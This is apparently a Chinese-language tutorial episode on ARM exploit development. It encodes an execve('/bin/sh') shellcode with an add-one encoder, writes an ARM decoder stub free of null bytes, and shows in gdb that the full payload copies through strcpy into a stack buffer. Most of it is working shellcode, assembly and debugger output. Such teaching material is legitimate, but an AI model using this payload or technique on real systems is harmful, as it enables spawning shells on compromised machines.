这是我们的目标程序的源代码 (文件: encode_shellcode_before.c)
#include <stdio.h>
#include <string.h>
char *msg = "\x0f\x00\xa0\xe1\x20\x00\x80\xe2\x02\x20\x42\xe0\x05\x00\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00\xef\x00\x00\xa0\xe3\x01\x70\xa0\xe3\x00\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x00";
void message(){
char msg_buf[120]={0};
strcpy(msg_buf, msg);
}
int main(int argc, char **argv){
message();
printf("Good bye!\n");
return 0;
}
编译
root@raspberrypi:/home/pi/arm/episode2# gcc -o encode_shellcode_before encode_shellcode_before.c -g -z execstack
在第11行设置断点并运行程序
strcpy(msg_buf, msg);
我们来看一下变量msg和msg_buf的值(在strcpy指令之前)
gdb> x/50bx msg_buf
0x7efff5d0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7efff5d8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7efff5e0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7efff5e8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7efff5f0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7efff5f8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7efff600: 0x00 0x00
gdb> x/50bx msg
0x10590: 0x0f 0x00 0xa0 0xe1 0x20 0x00 0x80 0xe2
0x10598: 0x02 0x20 0x42 0xe0 0x05 0x00 0x2d 0xe9
0x105a0: 0x0d 0x10 0xa0 0xe1 0x0b 0x70 0xa0 0xe3
0x105a8: 0x00 0x00 0x00 0xef 0x00 0x00 0xa0 0xe3
0x105b0: 0x01 0x70 0xa0 0xe3 0x00 0x00 0x00 0xef
0x105b8: 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x00
0x105c0: 0x00 0x00
strcpy函数之后
gdb> x/50bx msg_buf
0x7efff5d0: 0x0f 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7efff5d8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7efff5e0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7efff5e8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7efff5f0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7efff5f8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7efff600: 0x00 0x00
gdb> x/50bx msg
0x10590: 0x0f 0x00 0xa0 0xe1 0x20 0x00 0x80 0xe2
0x10598: 0x02 0x20 0x42 0xe0 0x05 0x00 0x2d 0xe9
0x105a0: 0x0d 0x10 0xa0 0xe1 0x0b 0x70 0xa0 0xe3
0x105a8: 0x00 0x00 0x00 0xef 0x00 0x00 0xa0 0xe3
0x105b0: 0x01 0x70 0xa0 0xe3 0x00 0x00 0x00 0xef
0x105b8: 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x00
0x105c0: 0x00 0x00
我们可以看到msg_buf中的shellcode没有被复制,这是因为shellcode包含空字符。
为了解决这个问题,我们可以创建一个简单的编码器:我们的编码将是一个简单的加法🙂
#include <stdio.h>
int main()
{
//execve shellcode
unsigned char shellcode[] = "\x0f\x00\xa0\xe1\x20\x00\x80\xe2\x02\x20\x42\xe0\x05\x00\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00\xef\x00\x00\xa0\xe3\x01\x70\xa0\xe3\x00\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x00";
int len = 48;
char out[len];
int i;
for(i=0; i<len; i++){
out[i] = shellcode[i] + 1;
if(i==47){
printf("0x%x\n", out[i]);
}else{
printf("0x%x,", out[i]);
out[i]++;
}
}
return 0;
}
编译
root@raspberrypi:/home/pi/arm/episode2# gcc -o encoder_strcpy encoder_strcpy.c
执行
root@raspberrypi:/home/pi/arm/episode2# ./encoder_strcpy
0x10,0x1,0xa1,0xe2,0x21,0x1,0x81,0xe3,0x3,0x21,0x43,0xe1,0x6,0x1,0x2e,0xea,0xe,0x11,0xa1,0xe2,0xc,0x71,0xa1,0xe4,0x1,0x1,0x1,0xf0,0x1,0x1,0xa1,0xe4,0x2,0x71,0xa1,0xe4,0x1,0x1,0x1,0xf0,0x30,0x63,0x6a,0x6f,0x30,0x74,0x69,0x1
我们来创建解码shellcode (文件: decoder_strcpy_v1.s)
.global _start
_start:
mov r6, #48 @ size of the shellcode
mov r1, pc @ move into r1 the pc
add r1, #44 @ address of the shellcode
mov r4, #0 @ index for the loop
sub sp, #48 @ save space for the decoded shellcode
mov r3, sp @ save address of the decoded shellcode into r3
start:
ldrb r2, [r1, r4] @ store into r2 the byte at the location (r1 + r4)
sub r2, #1 @ decoding operation
strb r2, [r3, r4] @ save the decoded byte into the allocated memory
add r4, #1 @ increment the index by 1
cmp r4, r6 @ check the index with the size of the shellcode
bne start
end:
add sp, #56 @ rebalances the stack
blx r3 @ jmp to the allocated area
shellcode: .byte 0x10,0x1,0xa1,0xe2,0x21,0x1,0x81,0xe3,0x3,0x21,0x43,0xe1,0x6,0x1,0x2e,0xea,0xe,0x11,0xa1,0xe2,0xc,0x71,0xa1,0xe4,0x1,0x1,0x1,0xf0,0x1,0x1,0xa1,0xe4,0x2,0x71,0xa1,0xe4,0x1,0x1,0x1,0xf0,0x30,0x63,0x6a,0x6f,0x30,0x74,0x69,0x1
汇编、链接
root@raspberrypi:/home/pi/arm/episode2# as -o decoder_strcpy_v1.o decoder_strcpy_v1.s
root@raspberrypi:/home/pi/arm/episode2# ld -o decoder_strcpy_v1 decoder_strcpy_v1.o
查看opcodes
root@raspberrypi:/home/pi/arm/episode2# objdump -d decoder_strcpy_v1
decoder_strcpy_v1: file format elf32-littlearm
Disassembly of section .text:
00010054 <_start>:
10054: e3a06030 mov r6, #48 ; 0x30
10058: e1a0100f mov r1, pc
1005c: e281102c add r1, r1, #44 ; 0x2c
10060: e3a04000 mov r4, #0
10064: e24dd030 sub sp, sp, #48 ; 0x30
10068: e1a0300d mov r3, sp
0001006c <start>:
1006c: e7d12004 ldrb r2, [r1, r4]
10070: e2422001 sub r2, r2, #1
10074: e7c32004 strb r2, [r3, r4]
10078: e2844001 add r4, r4, #1
1007c: e1540006 cmp r4, r6
10080: 1afffff9 bne 1006c <start>
00010084 <end>:
10084: e28dd038 add sp, sp, #56 ; 0x38
10088: e12fff33 blx r3
0001008c <shellcode>:
1008c: e2a10110 .word 0xe2a10110
10090: e3810121 .word 0xe3810121
10094: e1432103 .word 0xe1432103
10098: ea2e0106 .word 0xea2e0106
1009c: e2a1110e .word 0xe2a1110e
100a0: e4a1710c .word 0xe4a1710c
100a4: f0010101 .word 0xf0010101
100a8: e4a10101 .word 0xe4a10101
100ac: e4a17102 .word 0xe4a17102
100b0: f0010101 .word 0xf0010101
100b4: 6f6a6330 .word 0x6f6a6330
100b8: 01697430 .word 0x01697430
正如我们所看到的,还有“null”字节
10060: e3a04000 mov r4, #0
1007c: e1540006 cmp r4, r6
我们可以试着用这种方式来写这两条指令
mov r4, #0 as sub r4, r4, r4
cmp r4, r6 as subs r5, r6, r4
这是解码器的新版本 (文件: decoder_strcpy_v2.s)
.global _start
_start:
mov r6, #48 @ size of the shellcode
mov r1, pc @ move into r1 the pc
add r1, #44 @ address of the shellcode
sub r4, r4, r4 @ index for the loop
sub sp, #48 @ save space for the decoded shellcode
mov r3, sp @ save address of the decoded shellcode into r3
start:
ldrb r2, [r1, r4] @ store into r2 the byte at the location (r1 + r4)
sub r2, #1 @ decoding operation
strb r2, [r3, r4] @ save the decoded byte into the allocated memory
add r4, #1 @ increment the index by 1
subs r5, r6, r4 @ check the index with the size of the shellcode
bgt start @ jump to start if r6>r4
end:
add sp, #56 @ add 56 to the sp
blx r3 @ jmp to the allocated area
shellcode: .byte 0x10,0x1,0xa1,0xe2,0x21,0x1,0x81,0xe3,0x3,0x21,0x43,0xe1,0x6,0x1,0x2e,0xea,0xe,0x11,0xa1,0xe2,0xc,0x71,0xa1,0xe4,0x1,0x1,0x1,0xf0,0x1,0x1,0xa1,0xe4,0x2,0x71,0xa1,0xe4,0x1,0x1,0x1,0xf0,0x30,0x63,0x6a,0x6f,0x30,0x74,0x69,0x1
编译和链接
root@raspberrypi:/home/pi/arm/episode2# as -o decoder_strcpy_v2.o decoder_strcpy_v2.s
root@raspberrypi:/home/pi/arm/episode2# ld -o decoder_strcpy_v2 decoder_strcpy_v2.o
查看opcodes
root@raspberrypi:/home/pi/arm/episode2# objdump -d decoder_strcpy_v2
decoder_strcpy_v2: file format elf32-littlearm
Disassembly of section .text:
00010054 <_start>:
10054: e3a06030 mov r6, #48 ; 0x30
10058: e1a0100f mov r1, pc
1005c: e281102c add r1, r1, #44 ; 0x2c
10060: e0444004 sub r4, r4, r4
10064: e24dd030 sub sp, sp, #48 ; 0x30
10068: e1a0300d mov r3, sp
0001006c <start>:
1006c: e7d12004 ldrb r2, [r1, r4]
10070: e2422001 sub r2, r2, #1
10074: e7c32004 strb r2, [r3, r4]
10078: e2844001 add r4, r4, #1
1007c: e0565004 subs r5, r6, r4
10080: cafffff9 bgt 1006c <start>
00010084 <end>:
10084: e28dd038 add sp, sp, #56 ; 0x38
10088: e12fff33 blx r3
0001008c <shellcode>:
1008c: e2a10110 .word 0xe2a10110
10090: e3810121 .word 0xe3810121
10094: e1432103 .word 0xe1432103
10098: ea2e0106 .word 0xea2e0106
1009c: e2a1110e .word 0xe2a1110e
100a0: e4a1710c .word 0xe4a1710c
100a4: f0010101 .word 0xf0010101
100a8: e4a10101 .word 0xe4a10101
100ac: e4a17102 .word 0xe4a17102
100b0: f0010101 .word 0xf0010101
100b4: 6f6a6330 .word 0x6f6a6330
100b8: 01697430 .word 0x01697430
完美,没有空字节,让我们来看看opcodes
root@raspberrypi:/home/pi/arm/episode2# for i in $(objdump -d decoder_strcpy_v2 | grep "^ "|awk -F"[\t]" '{print $2}'); do echo -n ${i:6:2}${i:4:2}${i:2:2}${i:0:2};done| sed 's/.\{2\}/\\x&/g'
\x30\x60\xa0\xe3\x0f\x10\xa0\xe1\x2c\x10\x81\xe2\x04\x40\x44\xe0\x30\xd0\x4d\xe2\x0d\x30\xa0\xe1\x04\x20\xd1\xe7\x01\x20\x42\xe2\x04\x20\xc3\xe7\x01\x40\x84\xe2\x04\x50\x56\xe0\xf9\xff\xff\xca\x38\xd0\x8d\xe2\x33\xff\x2f\xe1\x10\x01\xa1\xe2\x21\x01\x81\xe3\x03\x21\x43\xe1\x06\x01\x2e\xea\x0e\x11\xa1\xe2\x0c\x71\xa1\xe4\x01\x01\x01\xf0\x01\x01\xa1\xe4\x02\x71\xa1\xe4\x01\x01\x01\xf0\x30\x63\x6a\x6f\x30\x74\x69\x01
现在我们可以测试它(文件: encode_shellcode_after.c)
#include <stdio.h>
#include <string.h>
char *msg = "\x30\x60\xa0\xe3\x0f\x10\xa0\xe1\x2c\x10\x81\xe2\x04\x40\x44\xe0\x30\xd0\x4d\xe2\x0d\x30\xa0\xe1\x04\x20\xd1\xe7\x01\x20\x42\xe2\x04\x20\xc3\xe7\x01\x40\x84\xe2\x04\x50\x56\xe0\xf9\xff\xff\xca\x38\xd0\x8d\xe2\x33\xff\x2f\xe1\x10\x01\xa1\xe2\x21\x01\x81\xe3\x03\x21\x43\xe1\x06\x01\x2e\xea\x0e\x11\xa1\xe2\x0c\x71\xa1\xe4\x01\x01\x01\xf0\x01\x01\xa1\xe4\x02\x71\xa1\xe4\x01\x01\x01\xf0\x30\x63\x6a\x6f\x30\x74\x69\x01";
void message(){
char msg_buf[120]={0};
strcpy(msg_buf, msg);
}
int main(int argc, char **argv){
message();
printf("Good bye!\n");
return 0;
}
编译
root@raspberrypi:/home/pi/arm/episode2# gcc -o encode_shellcode_after encode_shellcode_after.c -g -z execstack
如果我们启动调试器并在strcpy函数之后查看变量msg_buf
gdb> x/104bx msg
0x1059c: 0x30 0x60 0xa0 0xe3 0x0f 0x10 0xa0 0xe1
0x105a4: 0x2c 0x10 0x81 0xe2 0x04 0x40 0x44 0xe0
0x105ac: 0x30 0xd0 0x4d 0xe2 0x0d 0x30 0xa0 0xe1
0x105b4: 0x04 0x20 0xd1 0xe7 0x01 0x20 0x42 0xe2
0x105bc: 0x04 0x20 0xc3 0xe7 0x01 0x40 0x84 0xe2
0x105c4: 0x04 0x50 0x56 0xe0 0xf9 0xff 0xff 0xca
0x105cc: 0x38 0xd0 0x8d 0xe2 0x33 0xff 0x2f 0xe1
0x105d4: 0x10 0x01 0xa1 0xe2 0x21 0x01 0x81 0xe3
0x105dc: 0x03 0x21 0x43 0xe1 0x06 0x01 0x2e 0xea
0x105e4: 0x0e 0x11 0xa1 0xe2 0x0c 0x71 0xa1 0xe4
0x105ec: 0x01 0x01 0x01 0xf0 0x01 0x01 0xa1 0xe4
0x105f4: 0x02 0x71 0xa1 0xe4 0x01 0x01 0x01 0xf0
0x105fc: 0x30 0x63 0x6a 0x6f 0x30 0x74 0x69 0x01
gdb> x/104bx msg_buf
0x7efff5e0: 0x30 0x60 0xa0 0xe3 0x0f 0x10 0xa0 0xe1
0x7efff5e8: 0x2c 0x10 0x81 0xe2 0x04 0x40 0x44 0xe0
0x7efff5f0: 0x30 0xd0 0x4d 0xe2 0x0d 0x30 0xa0 0xe1
0x7efff5f8: 0x04 0x20 0xd1 0xe7 0x01 0x20 0x42 0xe2
0x7efff600: 0x04 0x20 0xc3 0xe7 0x01 0x40 0x84 0xe2
0x7efff608: 0x04 0x50 0x56 0xe0 0xf9 0xff 0xff 0xca
0x7efff610: 0x38 0xd0 0x8d 0xe2 0x33 0xff 0x2f 0xe1
0x7efff618: 0x10 0x01 0xa1 0xe2 0x21 0x01 0x81 0xe3
0x7efff620: 0x03 0x21 0x43 0xe1 0x06 0x01 0x2e 0xea
0x7efff628: 0x0e 0x11 0xa1 0xe2 0x0c 0x71 0xa1 0xe4
0x7efff630: 0x01 0x01 0x01 0xf0 0x01 0x01 0xa1 0xe4
0x7efff638: 0x02 0x71 0xa1 0xe4 0x01 0x01 0x01 0xf0
0x7efff640: 0x30 0x63 0x6a 0x6f 0x30 0x74 0x69 0x01
我们可以注意到所有的字节都被最终复制了。
在下一集见 🙂